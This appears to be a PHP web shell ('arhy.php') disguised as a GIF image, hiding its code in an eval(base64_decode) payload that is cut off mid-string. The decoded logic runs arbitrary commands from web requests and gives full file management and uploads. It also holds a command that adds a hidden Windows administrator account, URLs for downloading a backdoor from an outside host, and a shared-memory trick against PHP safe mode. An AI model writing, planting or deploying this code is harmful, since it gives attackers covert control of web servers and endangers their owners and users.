GIF89a?????????!???????????;
Editing arhy.php ...
GIF89a?????????!???????????;<?php set_time_limit(0); error_reporting(0); eval(base64_decode("ZWNobyAnDQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9InB0LWJyIj4NCjxtZXRhIG5hbWU9IkdFTkVSQVRPUiIgY29udGVudD0iTWljcm9zb2Z0IEZyb250UGFnZSA1LjAiPg0KPG1ldGEgbmFtZT0iUHJvZ0lkIiBjb250ZW50PSJBb0QiPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9d2luZG93cy0xMjUyIj4NCjx0aXRsZT5wVmQ1YzlwSUZ2OTdYZVh2ME5GbSAtICcuZ2V0ZW52KCJIVFRQX0hPU1QiKS4nPC90aXRsZT48aHRtbD4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQpBOmxpbmsge3RleHQtZGVjb3JhdGlvbjpub25lfQ0KQTp2aXNpdGVkIHt0ZXh0LWRlY29yYXRpb246bm9uZX0NCkE6aG92ZXIge3RleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmV9DQpBOmFjdGl2ZSB7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZX0NCjwvc3R5bGU+DQo8L2hlYWQ+DQo8Ym9keSBzdHlsZT0iZm9udC1mYW1pbHk6IFRhaG9tYTsgZm9udC1zaXplOiAxMHB4Ij4nOw0KcHJpbnQgIlxuPGJyPlxuPGNlbnRlcj5vd256aXJjPC9jZW50ZXI+PGNlbnRlcj48Zm9udCBmYWNlPVwiVmVyZGFuYVwiPjxoMT5vd256aXJjPC9oMT48L2ZvbnQ+PC9jZW50ZXI+XG4iOw0KDQogQHNldF90aW1lX2xpbWl0KDApOw0KDQogJHN0cmluZyA9ICRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXTsNCiAvLyRtaG9zdCA9ICdodHRwOi8vYXVsYTMudXNtcHZpcnR1YWwuZWR1LnBlL3ZuYy9iYXRlLmdpZj8nOw0KICRtaG9zdCA9ICcnOw0KICRob3N0X2FsbCA9IGV4cGxvZGUoIiRtaG9zdCIsICRzdHJpbmcpOw0KICRzMSA9ICRob3N0X2FsbFswXTsNCiAkZnN0cmluZyA9ICRfU0VSVkVSWydQSFBfU0VMRiddLiI/Ii4kczEuJG1ob3N0Ow0KDQogJGJ0bmFtZSA9ICdiYWNrdG9vbC50eHQnOw0KICRidCA9ICdodHRwOi8vd3d3LmZ1bGwtY29tYW5kb3MuY29tL2pvYmluZy9yMG5pbic7DQogJGRjID0gJ2h0dHA6Ly93d3cuZnVsbC1jb21hbmRvcy5jb20vam9iaW5nL2RjLnR4dCc7DQogJG5ld3VzZXIgPSAnQGVjaG8gb2ZmO25ldCB1c2VyIEFkbWluIC9hZGQgL2V4cGlyZXM6bmV2ZXIgL3Bhc3N3b3JkcmVxOm5vO25ldCBsb2NhbGdyb3VwICZxdW90O0FkbWluaXN0cmF0b3JzJnF1b3Q7IC9hZGQgQWRtaW47bmV0IGxvY2FsZ3JvdXAgJnF1b3Q7VXNlcnMmcXVvdDsgL2RlbCBBZG1pbic7DQoNCi8vIEphdmEgU2NyaXB0DQogZWNobyAiPHNjcmlwdCB0eXBlPVwidGV4dC9qYXZhc2NyaXB0XCI+IjsNCg0KIGVjaG8gImZ1bmN0aW9uIENoTW9kKGNoZGlyLCBmaWxlKSB7IjsNCiBlY2hvICJ2YXIgbyA9IHByb21wdCgnQ2htb2Q6IC0gRXhlbXBsZTogMDc3NycsICcnKTsiOw0KIGVjaG8gImlmIChvKSB7IjsNCiBlY2hvICJ3aW5kb3cubG9jYXRpb249XCJcIiArICd7JGZzdHJpbmd9JmFjdGlvbj1jaG1vZCZjaGRpcj0nICsgY2hkaXIgKyAnJmZpbGU9JyArIGZpbGUgKyAnJmNobW9kPScgKyBvICsgXCJcIjsiOw0KIGVjaG8gIn0iOw0KIGVjaG8gIn0iOw0KIGVjaG8gImZ1bmN0aW9uIFJlbmFtZShjaGRpciwgZmlsZSwgbW9kZSkgeyI7DQogZWNobyAiaWYgKG1vZGUgPT0gJ2VkaXQnKSB7IjsNCiBlY2hvICJ2YXIgbyA9IHByb21wdCgnUmVuYW1lIGZpbGUgJysgZmlsZSArICcgZm9yOicsICcnKTsiOw0KIGVjaG8gIn0iOw0KIGVjaG8gImVsc2UgeyI7DQogZWNobyAidmFyIG8gPSBwcm9tcHQoJ1JlbmFtZSBkaXIgJysgZmlsZSArICcgZm9yOicsICcnKTsiOw0KIGVjaG8gIn0iOw0KIGVjaG8gImlmIChvKSB7IjsNCiBlY2hvICJ3aW5kb3cubG9jYXRpb249XCJcIiArICd7JGZzdHJpbmd9JmFjdGlvbj1yZW5hbWUmY2hkaXI9JyArIGNoZGlyICsgJyZmaWxlPScgKyBmaWxlICsgJyZuZXduYW1lPScgKyBvICsgJyZtb2RlPScgKyBtb2RlICtcIlwiOyI7DQogZWNobyAifSI7DQogZWNobyAifSI7DQogZWNobyAiZnVuY3Rpb24gQ29weShjaGRpciwgZmlsZSkgeyI7DQogZWNobyAidmFyIG8gPSBwcm9tcHQoJ0NvcGllZCBmb3I6JywgJy90bXAvJyArIGZpbGUpOyI7DQogZWNobyAiaWYgKG8pIHsiOw0KIGVjaG8gIndpbmRvdy5sb2NhdGlvbj1cIlwiICsgJ3skZnN0cmluZ30mYWN0aW9uPWNvcHkmY2hkaXI9JyArIGNoZGlyICsgJyZmaWxlPScgKyBmaWxlICsgJyZmY29weT0nICsgbyArIFwiXCI7IjsNCiBlY2hvICJ9IjsNCiBlY2hvICJ9IjsNCiBlY2hvICJmdW5jdGlvbiBNa2RpcihjaGRpcikgeyI7DQogZWNobyAidmFyIG8gPSBwcm9tcHQoJ1doaWNoIG5hbWU/JywgJ05ld0RpcicpOyI7DQogZWNobyAiaWYgKG8pIHsiOw0KIGVjaG8gIndpbmRvdy5sb2NhdGlvbj1cIlwiICsgJ3skZnN0cmluZ30mYWN0aW9uPW1rZGlyJmNoZGlyPScgKyBjaGRpciArICcmbmV3ZGlyPScgKyBvICsgXCJcIjsiOw0KIGVjaG8gIn0iOw0KIGVjaG8gIn0iOw0KIGVjaG8gImZ1bmN0aW9uIE5ld2ZpbGUoY2hkaXIpIHsiOw0KIGVjaG8gInZhciBvID0gcHJvbXB0KCdXaGljaCBuYW1lPycsICdOZXdGaWxlLnR4dCcpOyI7DQogZWNobyAiaWYgKG8pIHsiOw0KIGVjaG8gIndpbmRvdy5sb2NhdGlvbj1cIlwiICsgJ3skZnN0cmluZ30mYWN0aW9uPW5ld2ZpbGUmY2hkaXI9JyArIGNoZGlyICsgJyZuZXdmaWxlPScgKyBvICsgXCJcIjsiOw0KIGVjaG8gIn0iOw0KIGVjaG8gIn0iOw0KIGVjaG8gIjwvc2NyaXB0PiI7DQoNCiAvLyBFbmQgSmF2YVNjcmlwdA0KDQoJLyogRnVuY3Rpb25zICovDQoJZnVuY3Rpb24gY21kKCRDTURzKSB7DQoJCSRDTURbMV0gPSAnJzsNCgkJZXhlYygkQ01EcywgJENNRFsxXSk7DQoJCWlmIChlbXB0eSgkQ01EWzFdKSkgew0KCQkJJENNRFsxXSA9IHNoZWxsX2V4ZWMoJENNRHMpOw0KCQl9DQoJCQllbHNlaWYgKGVtcHR5KCRDTURbMV0pKSB7DQoJCQkkQ01EWzFdID0gcGFzc3RocnUoJENNRHMpOw0KCQl9DQoJCWVsc2VpZiAoZW1wdHkoJENNRFsxXSkpIHsNCgkJCSRDTURbMV0gPSBzeXN0ZW0oJENNRHMpOw0KCQl9DQoJCWVsc2VpZiAoZW1wdHkoJENNRFsxXSkpIHsNCgkJCSRoYW5kbGUgPSBwb3BlbigkQ01EcywgJ3InKTsNCgkJCXdoaWxlKCFmZW9mKCRoYW5kbGUpKSB7DQoJCQkJJENNRFsxXVtdIC49IGZnZXRzKCRoYW5kbGUpOw0KCQkJfQ0KCQkJcGNsb3NlKCRoYW5kbGUpOw0KCQl9DQoJCXJldHVybiAkQ01EWzFdOw0KCX0NCiANCmlmIChAJF9HRVRbJ2NoZGlyJ10pIHsNCiAkY2hkaXIgPSAkX0dFVFsnY2hkaXInXTsgDQp9IGVsc2Ugew0KICAgJGNoZGlyID0gZ2V0Y3dkKCkuIi8iOw0KICB9DQppZiAoQGNoZGlyKCIkY2hkaXIiKSkgew0KICRtc2cgPSAiPGZvbnQgY29sb3I9XCIjMDA4MDAwXCI+RW50cmFuY2UmbmJzcDtpbiZuYnNwO3RoZSZuYnNwO2RpcmVjdG9yeSwmbmJzcDtPSyE8L2ZvbnQ+IjsNCn0gZWxzZSB7DQogJG1zZyA9ICI8Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj5FcnJvciZuYnNwO3RvJm5ic3A7ZW50ZXJzJm5ic3A7aXQmbmJzcDtpbiZuYnNwO3RoZSZuYnNwO2RpcmVjdG9yeSE8L2ZvbnQ+IjsNCiAkY2hkaXIgPSBzdHJfcmVwbGFjZSgkU0NSSVBUX05BTUUsICIiLCAkX1NFUlZFUlsnU0NSSVBUX05BTUUnXSk7DQp9DQogJGNoZGlyID0gc3RyX3JlcGxhY2UoY2hyKDkyKSwgY2hyKDQ3KSwgJGNoZGlyKTsNCg0KaWYgKEAkX0dFVFsnYWN0aW9uJ10gPT0gJ3VwbG9hZCcpIHsNCiAkdXBsb2FkZGlyID0gJGNoZGlyOw0KICR1cGxvYWRmaWxlID0gJHVwbG9hZGRpci4gJF9GSUxFU1sndXNlcmZpbGUnXVsnbmFtZSddOw0KIGlmIChAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ3VzZXJmaWxlJ11bJ3RtcF9uYW1lJ10sICR1cGxvYWRkaXIgLiAkX0ZJTEVTWyd1c2VyZmlsZSddWyduYW1lJ10pKSB7DQogICRtc2cgPSAiPGZvbnQgY29sb3I9XCIjMDA4MDAwXCI+PGZvbnQgY29sb3I9XCIjMDAwMDgwXCI+eyRfRklMRVNbJ3VzZXJmaWxlJ11bJ25hbWUnXX08L2ZvbnQ+LCZuYnNwO3RoZSZuYnNwO2FyY2hpdmUmbmJzcDtpcyZuYnNwO3ZhbGlkYXRlcyZuYnNwO2FuZCZuYnNwO3dhcyZuYnNwO2xvYWRlZCZuYnNwO3N1Y2Nlc3NmdWxseS48L2ZvbnQ+IjsNCiB9IGVsc2Ugew0KICAgICRtc2cgPSAiPGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+RXJyb3ImbmJzcDt3aGVuJm5ic3A7Y29weWluZyZuYnNwO2FyY2hpdmUuPC9mb250PiI7DQogICB9DQp9DQplbHNlaWYgKEAkX0dFVFsnYWN0aW9uJ10gPT0gJ21rZGlyJykgew0KICAgICRuZXdkaXIgPSAkX0dFVFsnbmV3ZGlyJ107DQogICAgaWYgKEBta2RpcigiJGNoZGlyIi4iJG5ld2RpciIpKSB7DQogICAgICRtc2cgPSAiPGZvbnQgY29sb3I9XCIjMDA4MDAwXCI+PGZvbnQgY29sb3I9XCIjMDAwMDgwXCI+eyRuZXdkaXJ9PC9mb250PiwmbmJzcDtkaXJlY3RvcnkmbmJzcDtjcmVhdGVkIHN1Y2Nlc3NmdWxseS48L2ZvbnQ+IjsNCiAgICB9IGVsc2Ugew0KICAgICAgICRtc2cgPSAiPGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+RXJyb3ImbmJzcDt0byZuYnNwO2l0Jm5ic3A7Y3JlYXRlcyZuYnNwO2RpcmVjdG9yeS48L2ZvbnQ+IjsNCiAgICAgIH0NCn0NCmVsc2VpZiAoQCRfR0VUWydhY3Rpb24nXSA9PSAnbmV3ZmlsZScpIHsNCiAgICAkbmV3ZmlsZSA9ICRfR0VUWyduZXdmaWxlJ107DQogICAgaWYgKEB0b3VjaCgiJGNoZGlyIi4iJG5ld2ZpbGUiKSkgew0KICAgICAkbXNnID0gIjxmb250IGNvbG9yPVwiIzAwODAwMFwiPjxmb250IGNvbG9yPVwiIzAwMDA4MFwiPnskbmV3ZmlsZX08L2ZvbnQ+LCZuYnNwO2NyZWF0ZWQgc3VjY2Vzc2Z1bGx5ITwvZm9udD4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgJG1zZyA9ICI8Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj5FcnJvciZuYnNwO3RvJm5ic3A7dHJpZXMmbmJzcDtpdCZuYnNwO2NyZWF0ZXMmbmJzcDthcmNoaXZlLjwvZm9udD4iOw0KICAgICAgfQ0KfQ0KDQplbHNlaWYgKEAkX0dFVFsnYWN0aW9uJ10gPT0gJ2RlbCcpIHsNCiAgICAgJGZpbGUgPSAkX0dFVFsnZmlsZSddOyAkdHlwZSA9ICRfR0VUWyd0eXBlJ107DQogICAgIGlmICgkdHlwZSA9PSAnZmlsZScpIHsNCiAgICAgIGlmIChAdW5saW5rKCIkY2hkaXIiLiIkZmlsZSIpKSB7DQogICAgICAgJG1zZyA9ICI8Zm9udCBjb2xvcj1cIiMwMDgwMDBcIj48Zm9udCBjb2xvcj1cIiMwMDAwODBcIj57JGZpbGV9PC9mb250PiwmbmJzcDtzdWNjZXNzZnVsbHkmbmJzcDtleGNsdWRlZCZuYnNwO2FyY2hpdmUhPC9mb250PiI7DQogICAgICB9IGVsc2Ugew0KICAgICAgICAgJG1zZyA9ICI8Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj5FcnJvciZuYnNwO3RvJm5ic3A7aXQmbmJzcDtJJm5ic3A7ZXhjbHVkZWQmbmJzcDthcmNoaXZlITwvZm9udD4iOw0KICAgICAgICB9DQogICAgIH0gZWxzZWlmICgkdHlwZSA9PSAnZGlyJykgew0KICAgICAgICBpZiAoQHJtZGlyKCIkY2hkaXIiLiIkZmlsZSIpKSB7DQogICAgICAgICAgJG1zZyA9ICI8Zm9udCBjb2xvcj1cIiMwMDgwMDBcIj48Zm9udCBjb2xvcj1cIiMwMDAwODBcIj57JGZpbGV9PC9mb250PiwmbmJzcDtzdWNjZXNzZnVsbHkmbmJzcDtleGNsdWRlZCZuYnNwO2RpcmVjdG9yeSE8L2ZvbnQ+IjsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgJG1zZyA9ICI8Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj5FcnJvciZuYnNwO3RvJm5ic3A7aXQmbmJzcDtJJm5ic3A7ZXhjbHVkZWQmbmJzcDtkaXJlY3RvcnkhPC9mb250PiI7DQogICAgICAgICAgfQ0KICAgICAgIH0NCn0NCmVsc2VpZiAoQCRfR0VUWydhY3Rpb24nXSA9PSAnY2htb2QnKSB7DQogICAgICRmaWxlID0gJGNoZGlyLiRfR0VUWydmaWxlJ107ICRjaG1vZCA9ICRfR0VUWydjaG1vZCddOw0KICAgICBpZiAoQGNobW9kICgiJGZpbGUiLCAkY2htb2QpKSB7DQogIA0KICAgICAgJG1zZyA9ICI8Zm9udCBjb2xvcj1cIiMwMDgwMDBcIj5DaG1vZCZuYnNwO29mPC9mb250PiZuYnNwOzxmb250IGNvbG9yPVwiIzAwMDA4MFwiPnskX0dFVFsnZmlsZSddfTwvZm9udD4mbmJzcDs8Zm9udCBjb2xvcj1cIiMwMDgwMDBcIj5tb3ZlZCZuYnNwO2ZvcjwvZm9udD4mbmJzcDs8Zm9udCBjb2xvcj1cIiMwMDAwODBcIj4kY2htb2Q8L2ZvbnQ+Jm5ic3A7PGZvbnQgY29sb3I9XCIjMDA4MDAwXCI+c3VjY2Vzc2Z1bGx5LjwvZm9udD4iOw0KICAgICB9IGVsc2Ugew0KICAgICAgICAkbXNnID0gJzxmb250IGNvbG9yPVwiI0ZGMDAwMFwiPkVycm9yJm5ic3A7d2hlbiZuYnNwO21vdmluZyZuYnNwO2NobW9kLjwvZm9udD4nOw0KICAgICAgIH0NCn0NCmVsc2VpZiAoQCRfR0VUWydhY3Rpb24nXSA9PSAncmVuYW1lJykgew0KICAgICAkZmlsZSA9ICRfR0VUWydmaWxlJ107ICRuZXduYW1lID0gJF9HRVRbJ25ld25hbWUnXTsNCiAgICAgaWYgKEByZW5hbWUoIiRjaGRpciIuIiRmaWxlIiwgIiRjaGRpciIuIiRuZXduYW1lIikpIHsNCiAgICAgICRtc2cgPSAiPGZvbnQgY29sb3I9XCIjMDA4MDAwXCI+QXJjaGl2ZTwvZm9udD4mbmJzcDs8Zm9udCBjb2xvcj1cIiMwMDAwODBcIj57JGZpbGV9PC9mb250PiZuYnNwOzxmb250IGNvbG9yPVwiIzAwODAwMFwiPm5hbWVkIGZvcjwvZm9udD4mbmJzcDs8Zm9udCBjb2xvcj1cIiMwMDAwODBcIj57JG5ld25hbWV9PC9mb250PiZuYnNwOzxmb250IGNvbG9yPVwiIzAwODAwMFwiPnN1Y2Nlc3NmdWxseSE8L2ZvbnQ+IjsNCiAgICAgfSBlbHNlIHsNCiAgICAgICAgJG1zZyA9ICI8Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj5FcnJvciZuYnNwO3RvJm5ic3A7aXQmbmJzcDtub21pbmF0ZXMmbmJzcDthcmNoaXZlLjwvZm9udD4iOw0KICAgICAgIH0NCn0NCmVsc2VpZiAoQCRfR0VUWydhY3Rpb24nXSA9PSAnY29weScpIHsNCiAgICAkZmlsZSA9ICRjaGRpci4kX0dFVFsnZmlsZSddOyAkY29weSA9ICRfR0VUWydmY29weSddOw0KICAgIGlmIChAY29weSgiJGZpbGUiLCAiJGNvcHkiKSkgew0KICAgICAkbXNnID0gIjxmb250IGNvbG9yPVwiIzAwMDA4MFwiPnskZmlsZX08L2ZvbnQ+LCZuYnNwOzxmb250IGNvbG9yPVwiIzAwODAwMFwiPmNvcGllZCBmb3I8L2ZvbnQ+IDxmb250IGNvbG9yPVwiIzAwMDA4MFwiPnskY29weX08L2ZvbnQ+IDxmb250IGNvbG9yPVwiIzAwODAwMFwiPnN1Y2Nlc3NmdWxseSE8L2ZvbnQ+IjsNCiAgICB9IGVsc2Ugew0KICAgICAgICRtc2cgPSAiPGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+RXJyb3ImbmJzcDt3aGVuJm5ic3A7Y29weWluZzwvZm9udD4mbmJzcDs8Zm9udCBjb2xvcj1cIiMwMDAwMDBcIj57JGZpbGV9PC9mb250PiZuYnNwOzxmb250IGNvbG9yPVwiI0ZGMDAwMFwiPmZvcjwvZm9udD4mbmJzcDs8Zm9udCBjb2xvcj1cIiMwMDAwMDBcIj57JGNvcHl9PC9mb250PjwvZm9udD4iOw0KICAgICAgfQ0KfQ0KLyogUGFydGUgQXR1YWxpemEgMDI6NDggMTIvMi8yMDA2ICovDQoNCmVsc2VpZiAoQCRfR0VUWydhY3Rpb24nXSA9PSAnY21kJykgew0KCWlmICghZW1wdHkoJF9HRVRbJ2NtZCddKSkgeyAkY21kID0gQCRfR0VUWydjbWQnXTsgfQ0KCWlmICghZW1wdHkoJF9QT1NUWydjbWQnXSkpIHsgJGNtZCA9IEAkX1BPU1RbJ2NtZCddOyB9DQoJJGNtZCA9IHN0cmlwc2xhc2hlcyh0cmltKCRjbWQpKTsNCgkkcmVzdWx0X2FyciA9IGNtZCgkY21kKTsNCgkNCgkkYWZpbSA9IGNvdW50KCRyZXN1bHRfYXJyKTsgJGFjb20gPSAwOyAkbXNnID0gJyc7DQoJJG1zZyAuPSAiPHAgc3R5bGU9XCJjb2xvcjogIzAwMDAwMDt0ZXh0LWFsaWduOiBjZW50ZXI7Zm9udC1mYW1pbHk6ICdMdWNpZGEgQ29uc29sZSc7Zm9udC1zaXplOiAxMnB4O21hcmdpbiAyXCI+UmVzdWx0czombmJzcDs8Yj4iLiRjbWQuIjwvYj48L3A+IjsNCglpZiAoJHJlc3VsdF9hcnIpIHsNCgkJd2hpbGUgKCRhY29tIDw9ICRhZmltKSB7DQoJCQkkbXNnIC49ICI8cCBzdHlsZT1cImNvbG9yOiAjMDA4MDAwO3RleHQtYWxpZ246IGxlZnQ7Zm9udC1mYW1pbHk6ICdMdWNpZGEgQ29uc29sZSc7Zm9udC1zaXplOiAxMnB4O21hcmdpbiAyXCI+Jm5ic3A7Ii5AJHJlc3VsdF9hcnJbJGFjb21dLiI8L3A+IjsNCgkJJGFjb20rKzsNCiAJCX0NCgl9DQoJZWxzZSB7DQoJCSRtc2cgLj0gIjxwIHN0eWxlPVwiY29sb3I6ICNGRjAwMDA7dGV4dC1hbGlnbjogY2VudGVyO2ZvbnQtZmFtaWx5OiAnTHVjaWRhIENvbnNvbGUnO2ZvbnQtc2l6ZTogMTJweDttYXJnaW4gMlwiPkVycm8gYW8gZXhlY3V0YXIgY29tYW5kby48L3A+IjsNCgl9DQp9DQplbHNlaWYgKEAkX0dFVFsnYWN0aW9uJ10gPT0gJ3NhZmVtb2RlJykgew0KaWYgKEAhZXh0ZW5zaW9uX2xvYWRlZCgnc2htb3AnKSkgew0KIGVjaG8gIkxvYWRpbmcuLi4gbW9kdWxlPC9icj4iOw0KDQogICAgaWYgKHN0cnRvdXBwZXIoc3Vic3RyKFBIUF9PUywgMCwzKSA9PSAnV0lOJykpIHsNCiAgICAgICAgQGRsKCdwaHBfc2htb3AuZGxsJyk7DQogICAgfSBlbHNlIHsNCiAgICAgICAgQGRsKCdzaG1vcC5zbycpOw0KICAgIH0NCn0NCg0KaWYgKEBleHRlbnNpb25fbG9hZGVkKCdzaG1vcCcpKSB7DQogZWNobyAiTW9kdWxlOiA8Yj5zaG1vcDwvYj4gbG9hZGVkITwvYnI+IjsNCg0KICRzaG1faWQgPSBAc2htb3Bfb3BlbigweGZmMiwgImMiLCAwNjQ0LCAxMDApOw0KIGlmICghJHNobV9pZCkgeyBlY2hvICJDb3VsZG4ndCBjcmVhdGUgc2hhcmVkIG1lbW9yeSBzZWdtZW50XG4iOyB9DQogJGRhdGE9Ilx4MDAiOw0KICRvZmZzZXQ9LTM4NDI2ODU7DQogJHNobV9ieXRlc193cml0dGVuID0gQHNobW9wX3dyaXRlKCRzaG1faWQsICRkYXRhLCAkb2Zmc2V0KTsNCiBpZiAoJHNobV9ieXRlc193cml0dGVuICE9IHN0cmxlbigkZGF0YSkpIHsgZWNobyAiQ291bGRuJ3Qgd3JpdGUgdGhlIGVudGlyZSBsZW5ndGggb2YgZGF0YVxuIjsgfQ0KIGlmICghc2htb3BfZGVsZXRlKCRzaG1faWQpKSB7IGVjaG8gIkNvdWxkbid0IG1hcmsgc2hhcmVkIG1lbW9yeSBibG9jayBmb3IgZGVsZXRpb24uIjsgfQ0KIGVjaG8gcGFzc3RocnUoImlkIik7IA0KIHNobW9wX2Nsb3NlKCRzaG1faWQpOw0KDQoNCn0gZWxzZSB7IGVjaG8gIk1vZHVsZTogPGI+c2htb3A8L2I+IG5vdCBsb2FkZWQhPC9icj4iOyB9DQp9DQoNCmVsc2VpZiAoQCRfR0VUWydhY3Rpb24nXSA9PSAnemlwZW4nKSB7DQogJGZpbGUgPSAkX0dFVFsnZmlsZSddOw0KICR6aXAgPSBAemlwX29wZW4oIiRjaGRpciIuIiRmaWxlIik7DQogJG1zZyA9ICcnOw0KaWYgKCR6aXApIHsNCg0KICAgIHdoaWxlICgkemlwX2VudHJ5ID0gemlwX3JlYWQoJHppcCkpIHsNCiAgICAgICAgJG1zZyAuPSAiTmFtZTogICAgICAgICAgICAgICAiIC4gemlwX2VudHJ5X25hbWUoJHppcF9lbnRyeSkgLiAiXG4iOw0KICAgICAgICAkbXNnIC49ICJBY3R1YWwgRmlsZXNpemU6ICAgICIgLiB6aXBfZW50cnlfZmlsZXNpemUoJHppcF9lbnRyeSkgLiAiXG4iOw0KICAgICAgICAkbXNnIC49ICJDb21wcmVzc2VkIFNpemU6ICAgICIgLiB6aXBfZW50cnlfY29tcHJlc3NlZHNpemUoJHppcF9lbnRyeSkgLiAiXG4iOw0KICAgICAgICAkbXNnIC49ICJDb21wcmVzc2lvbiBNZXRob2Q6ICIgLiB6aXBfZW50cnlfY29tcHJlc3Npb25tZXRob2QoJHppcF9lbnRyeSkgLiAiXG4iOw0KDQogICAgICAgIGlmICh6aXBfZW50cnlfb3BlbigkemlwLCAkemlwX2VudHJ5LCAiciIpKSB7DQogICAgICAgICAgICBlY2hvICJGaWxlIENvbnRlbnRzOlxuIjsNCiAgICAgICAgICAgICRidWYgPSB6aXBfZW50cnlfcmVhZCgkemlwX2VudHJ5LCB6aXBfZW50cnlfZmlsZXNpemUoJHppcF9lbnRyeSkpOw0KICAgICAgICAgICAgZWNobyAiJGJ1ZlxuIjsNCg0KICAgICAgICAgICAgemlwX2VudHJ5X2Nsb3NlKCR6aXBfZW50cnkpOw0KICAgICAgICB9DQogICAgICAgIGVjaG8gIlxuIjsNCg0KICAgIH0NCg0KICAgIHppcF9jbG9zZSgkemlwKTsNCg0KfQ0KfQ0KZWxzZWlmIChAJF9HRVRbJ2FjdGlvbiddID09ICdlZGl0Jykgew0KICRmaWxlID0gJF9HRVRbJ2ZpbGUnXTsNCiAkY29udGV1ZG8gPSAnJzsNCiAkZmlsZW5hbWUgPSAiJGNoZGlyIi4iJGZpbGUiOw0KICRjb250ZXVkbyA9IEBmaWxlX2dldF9jb250ZW50cygkZmlsZW5hbWUpOw0KICRjb250ZXVkbyA9IGh0bWxzcGVjaWFsY2hhcnMoJGNvbnRldWRvKTsNCiAkYmFjayA9ICRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiBlY2hvICI8cCBhbGlnbj1cImNlbnRlclwiPkVkaXRpbmcmbmJzcDt7JGZpbGV9Jm5ic3A7Li4uPC9wPiI7DQogZWNobyAiPHRhYmxlIGJvcmRlcj1cIjBcIiBjZWxscGFkZGluZz1cIjBcIiBjZWxsc3BhY2luZz1cIjBcIiBzdHlsZT1cImJvcmRlci1jb2xsYXBzZTogY29sbGFwc2VcIiB3aWR0aD1cIjEwMCVcIiBpZD1cImVkaXRhY2FvXCI+IjsNCiBlY2hvICI8dHI+IjsNCiBlY2hvICI8dGQgd2lkdGg9XCIxMDAlXCI+IjsNCiBlY2hvICI8Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwieyRmc3RyaW5nfSZhbXA7YWN0aW9uPXNhdmUmYW1wO2NoZGlyPXskY2hkaXJ9JmFtcDtmaWxlPXskZmlsZX1cIj4iOw0KIGVjaG8gIjwhLS13ZWJib3QgYm90PVwiU2F2ZVJlc3VsdHNcIiB1LWZpbGU9XCJfcHJpdmF0ZS9mb3JtX3Jlc3VsdHMuY3N2XCIgcy1mb3JtYXQ9XCJURVhUL0NTVlwiIHMtbGFiZWwtZmllbGRzPVwiVFJVRVwiIC0tPjxwIGFsaWduPVwiY2VudGVyXCI+IjsNCiBwcmludCAiPHRleHRhcmVhIHJvd3M9XCIxOFwiIG5hbWU9XCJTMVwiIGNvbHM9XCI4OVwiIHN0eWxlPVwiZm9udC1mYW1pbHk6IFZlcmRhbmE7IGZvbnQtc2l6ZTogMTBwdDsgYm9yZGVyOiAxcHggc29saWQgIzAwMDAwMFwiPnskY29udGV1ZG99PC90ZXh0YXJlYT48L3A+IjsNCiBlY2hvICI8cCBhbGlnbj1cImNlbnRlclwiPiI7DQogZWNobyAiPGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIlNhdmVcIiBuYW1lPVwiQjJcIiBzdHlsZT1cImZvbnQtZmFtaWx5OiBUYWhvbWE7IGZvbnQtc2l6ZTogMTBweDsgYm9yZGVyOiAxcHggc29saWQgIzAwMDAwMFwiPiZuYnNwOyI7DQogZWNobyAiPGlucHV0IHR5cGU9XCJidXR0b25cIiB2YWx1ZT1cIkNsb3NlcyBQdWJsaXNoZXJcIiBPbmNsaWNrPVwiamF2YXNjcmlwdDp3aW5kb3cubG9jYXRpb249J3skZnN0cmluZ30mYW1wO2NoZGlyPXskY2hkaXJ9J1wiIG5hbWU9XCJCMVwiIHN0eWxlPVwiZm9udC1mYW1pbHk6IFRhaG9tYTsgZm9udC1zaXplOiAxMHB4OyBib3JkZXI6IDFweCBzb2xpZCAjMDAwMDAwXCI+Jm5ic3A7IjsNCiBlY2hvICI8L2Zvcm0+IjsNCiBlY2hvICI8L3RkPiI7DQogZWNobyAiPC90cj4iOw0KIGVjaG8gIjwvdGFibGU+IjsNCn0NCmVsc2VpZiAoQCRfR0VUWydhY3Rpb24nXSA9PSAnc2F2ZScpIHsNCiAgICRmaWxlbmFtZSA9ICIkY2hkaXIiLiRfR0VUWydmaWxlJ107DQogICAkc29tZWNvbnRlbnQgPSAkX1BPU1RbJ1MxJ107DQogICAkc29tZWNvbnRlbnQgPSBzdHJpcHNsYXNoZXModHJpbSgkc29tZWNvbnRlbnQpKTsNCiAgIGlmIChpc193cml0YWJsZSgkZmlsZW5hbWUpKSB7DQogICAgQCRoYW5kbGUgPSBmb3BlbiAoJGZpbGVuYW1lLCAidyIpOw0KICAgIEAkZncgPSBmd3JpdGUoJGhhbmRsZSwgJHNvbWVjb250ZW50KTsNCiAgICBAZmNsb3NlKCRoYW5kbGUpOw0KICAgIGlmICgkaGFuZGxlICYmICRmdykgew0KICAgICAkbXNnID0gIjxmb250IGNvbG9yPVwiIzAwMDA4MFwiPnskX0dFVFsnZmlsZSddfTwvZm9udD4sJm5ic3A7PGZvbnQgY29sb3I9XCIjMDA4MDAwXCI+ZWRpdGVkJm5ic3A7c3VjY2Vzc2Z1bGx5ITwvZm9udD4iOw0KICAgIH0NCiB9IGVsc2Ugew0KICAgICRtc2cgPSAiPGZvbnQgY29sb3I9XCIjMDAwMDAwXCI+eyRfR0VUWydmaWxlJ119LDwvZm9udD4mbmJzcDs8Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj5jYW5ub3QmbmJzcDtiZS